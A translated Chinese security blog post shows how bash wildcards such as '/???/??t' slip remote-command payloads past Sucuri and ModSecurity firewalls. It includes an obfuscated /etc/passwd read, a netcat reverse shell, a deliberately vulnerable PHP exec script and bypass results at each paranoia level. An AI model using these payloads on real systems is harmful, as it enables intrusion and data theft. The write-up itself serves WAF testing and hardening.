bypass the waf(一)

前言

我可以用

/???/??t /???/??ss??

读取你的passwd文件。享受Sucuri WAFModSecurityParanoia等等waf带来的的乐趣......

image

ps:mac上好像不太行,按道理应该也可以啊。

在Web应用程序中发现远程命令执行漏洞并不是很少见,并且OWASP Top 10-2017sql inject置于第一个位置:

当不受信任的数据作为命令或查询的一部分发送到解释器时,就会发生注入,例如SQLNoSQLOSLDAP注入。攻击者的恶意数据可以欺骗解释器在没有适当授权的情况下执行非预期的命令或访问数据。

所有现代Web应用程序防火墙都能够拦截(甚至阻止)RCE尝试,但是当它发生在Linux系统中时,我们有很多方法可以逃避WAF规则集。渗透测试人员最好的朋友不是狗......它的名字是通配符。在开始做WAPT之前,我想告诉你一些你可能不了解bash和通配符的事情。

关于通配符你不知道的事

各种命令行实用程序使用Bash标准通配符(也称为通配模式)来处理多个文件。有关标准通配符的更多信息,请通过键入参考手册页man 7 glob。不是每个人都知道有很多bash语法使你能够使用问号,正斜杠/数字和字母来执行系统命令。您甚至可以使用相同数量的字符枚举文件并获取其内容。怎么样?我举几个例子:
执行ls命令,您可以使用以下语法:

ls帮助使用/???/?s语法执行输出

使用这种语法,您可以执行基本上所需的一切。比方说,你的脆弱的目标是一个Web应用防火墙的后面,这WAF有一个规则,包含块的所有请求/etc/passwd/bin/ls GET参数的值内或身体内部的POST请求。如果你试图提出一个请求,/?cmd=cat+/etc/passwd它会被目标WAF阻止,你的IP将被永久禁止并被标记为另一个f *** in'redteamer'。但是你的口袋里有一个叫做通配符的秘密武器。如果你很幸运(不太幸运,我们后面会说到),目标WAF没有足够的严格,来阻止像?/在查询字符串中。因此,您可以轻松地发出您的请求(网址编码),如下所示:/?cmd=%2f???%2f??t%20%2f???%2fp??s??

使用通配符执行/bin/cat/ etc/passwd

正如您在上面的屏幕截图中看到的那样,有3个错误/bin/cat *:是一个目录。发生这种情况是因为/???/??t可以通过整合过程转换/bin/cat或者/dev/net,/etc/apt 等等....

问号通配符仅代表一个可以是任何字符的字符。因此,如果您知道文件名的一部分而不是一个字母,那么您可以使用此通配符。例如ls *.???,列出当前目录中扩展名为3个字符的所有文件。因此,将列出具有.gif,.jpg,.txt等扩展名的文件。

使用此通配符,您可以使用netcat执行反向shell。假设您需要在端口1337(通常nc -e /bin/bash 127.0.0.1 1337)执行反向shell到127.0.0.1 ,您可以使用以下语法执行此操作:
/???/n? -e /???/b??h 2130706433 1337

long格式(2130706433)转换IP地址127.0.0.1,可以避免在HTTP请求中使用.字符。

在我的kali中我需要使用nc.traditional而不是nc没有-e参数,以便/bin/bash在连接后执行。payload变成这样:

/???/?c.??????????? -e /???/b??h 2130706433 1337
image

下面我们刚刚看到的两个命令的一些摘要:

标准:/bin/nc 127.0.0.1 1337 
bypass:/???/n? 2130706433 1337 
使用的字符:/ ? n [0-9]

标准:/bin/cat /etc/passwd
bypass:/???/??t /???/??ss??
使用的字符:/ ? t s

为什么用?而不是*,因为星号(*)被广泛用于注释语法(类似/*嘿,我是注释*/),许多WAF阻止它以避免SQL注入...类似于UNION + SELECT + 1,2,3 /*

使用echo?枚举文件和目录?是的你可以。该echo命令可以使用通配符枚举文件系统上的文件和目录。例如echo /*/*ss*

image

这可以在RCE上使用,以便在目标系统上获取文件和目录,例如:

image

但是为什么使用通配符(特别是问号)可以逃避WAF规则集?让我先从Sucuri WAF开始吧!

Sucuri WAF bypass

image

哪种测试WAF规则集的最佳方法是什么?创建世界上最易受攻击的PHP脚本并尝试所有可能的技术!在上面的屏幕截图中,我们有:在左上方的窗格中有我丑陋的Web应用程序(它只是一个执行命令的PHP脚本):

<?php
      echo 'ok: ';
      print_r($_GET['c']);
      system($_GET['c']);

在左下方的窗格中,您可以在我的网站上看到由Sucuri WAF(test1.unicresit.it)保护的远程命令执行测试。正如您所看到的,Sucuri阻止了我的请求,原因是检测到并阻止了尝试的RFI/LFI。这个原因并不完全正确,但好消息是WAF阻止了我的攻击(我甚至不知道为什么防火墙会告诉我阻止请求的原因,但应该有一个理由......)。

右侧窗格是最有趣的,因为它显示相同的请求,但使用问号作为通配符。结果令人恐惧...... Sucuri WAF接受了请求,我的应用程序执行了我输入c参数的命令。现在我可以读取/etc/passwd文件甚至更多...我可以阅读应用程序本身的PHP源代码,我可以使用netcat(或者我喜欢称之为/???/?c)来执行反向shell ,或者我可以执行类似curl或wget按顺序的程序显示Web服务器的真实IP地址,使我能够通过直接连接到目标来绕过WAF。

我不知道是否会发生这种情况,因为我在Sucuri WAF配置上遗漏了一些内容,但似乎没有...我已经在Sucuri问过这是否是一种有人参与的行为,以及他们是否配置了默认的低等级以避免错误,但我还在等待答案。

请记住,我正在使用一个不代表真实场景的愚蠢PHP脚本进行此测试。恕我直言,你不应该根据它阻止的请求来判断一个WAF,而且Sucuri的安全性并不高,因为它不能完全保护一个故意易受攻击的网站。做了必要的说明!

ModSecurity OWASP CRS 3.0

我真的很喜欢ModSecurity,我认为与Nginx和Nginx连接器一起使用的新libmodsecurity(v3)是我用过的最佳解决方案,用于部署Web应用程序防火墙。我也是OWASP核心规则集的忠实粉丝!我到处都用它但是,如果你不太了解这个规则集,你需要注意一个叫做爱的小东西..嗯对不起妄想症又犯了!

严格模式

您可以在此处找到的以下模式 很好地概述了每个级别如何处理“请求协议强制执行”规则。正如您在PL1中看到的那样,查询字符串只能包含1-255范围内的ASCII字符,并且它会变得更加严格,直到PL4阻止非常小范围内的非ASCII字符

# -=[ Targets and ASCII Ranges ]=-
#
# 920270: PL1
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 1-255
# Example: Full ASCII range without null character
#
# 920271: PL2
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 9,10,13,32-126,128-255
# Example: Full visible ASCII range, tab, newline
#
# 920272: PL3
# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
# ASCII: 32-36,38-126
# Example: Visible lower ASCII range without percent symbol
#
# 920273: PL4
# ARGS, ARGS_NAMES and REQUEST_BODY
# ASCII: 38,44-46,48-58,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : &
#
# 920274: PL4
# REQUEST_HEADERS without User-Agent, Referer, Cookie
# ASCII: 32,34,38,42-59,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE

让我们对所有级别进行一些测试!

PL0

等级0表示禁用了许多规则,因此我们的payload可以毫无问题地导致远程命令执行,这是绝对正常的。问题不大,不要慌:)

SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=0"
image

PL1, PL2

我已将1级和2级分组,因为它们的差异(如上图所示)不会影响我们的目标,所有行为都与下面描述的相同。

SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=1"

使用PL1(和PL2)ModSecurity显然阻止了我对OS File Access Attempt的请求(930120)。但是,如果我将问号用作通配符怎么办?该请求被我的WAF通过了:

image

发生这种情况是因为“问号”,正斜杠空格都在规则920271和920272的字符范围内。此外,使用问号代替命令语法使我能够逃避拦截操作系统的常见命令和文件(例如我们的/etc/passwd)。

PL3

这种模式它阻止包含等字符的请求超过n次。事实上,我的请求已被阻止为元字符异常检测警报 - 重复非字符。这很酷!很强的ModSecurity,你赢了一只泰迪熊!但不幸的是,我的网络应用程序是如此丑陋和易受攻击,我可以使用较少的问号并使用以下语法读取passwd文件:c=/?in/cat+/et?/passw?

image

正如你所看到的,只使用3个问号我就bypass了这个级别并读取目标系统内的passwd文件。好吧,这并不意味着你必须始终无条件地将你的等级设置为4。请记住,我正在使用一个非常愚蠢的PHP脚本来测试它,这个脚本并不代表真实场景...我希望......你懂的.....

现在每个人都知道42是生命,宇宙和一切的答案。但是那样:你会bypass PL4的OWASP规则集吗?

PL4

基本上没有,我做不到。范围之外的所有字符a-z A-Z 0–9都被阻止!没办法......相信我,当你需要执行一个命令来读取文件时,有90%的概率你需要一个空格字符或正斜杠.

最后的想法

回到静态HTML页面......这是提高Web应用程序安全性的最快方法!很难说 避免bypass WAF的最佳配置是什么,或者使用什么waf最好。恕我直言,我们不应该信任在Web应用程序上均匀分布的规则集。实际上,我认为我们应该根据应用程序功能配置我们的WAF规则。

无论如何,当你在ModSecurity上写一个新的SecRule时,请记住,可能有很多方法可以避开你的过滤器/正则表达式。所以写下来我怎么能逃避这个规则?

原文链接

后续继续把剩下的两篇补上,文中有些可能欠妥,请指出!

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,445评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,889评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,047评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,760评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,745评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,638评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,011评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,669评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,923评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,655评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,740评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,406评论 4 320
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,995评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,961评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,023评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,483评论 2 342

推荐阅读更多精彩内容

  • 官网 中文版本 好的网站 Content-type: text/htmlBASH Section: User ...
    不排版阅读 4,364评论 0 5
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,594评论 18 139
  • Ubuntu的发音 Ubuntu,源于非洲祖鲁人和科萨人的语言,发作 oo-boon-too 的音。了解发音是有意...
    萤火虫de梦阅读 99,126评论 9 467
  • 大儿今天可能是吃的东西太杂了,胃不太舒服,一个小时内吐了两次。大夫给看了看,没什么大碍,但是建议晚上不让吃东西——...
    Joanne_fa80阅读 272评论 0 1
  • 最近有些思绪, 是想你的心情。 我懵懂的感情, 有没有感染你。 那天,我们相见。 心跳占据我的思维, 快无法呼吸。...
    厚积薄发y阅读 136评论 0 2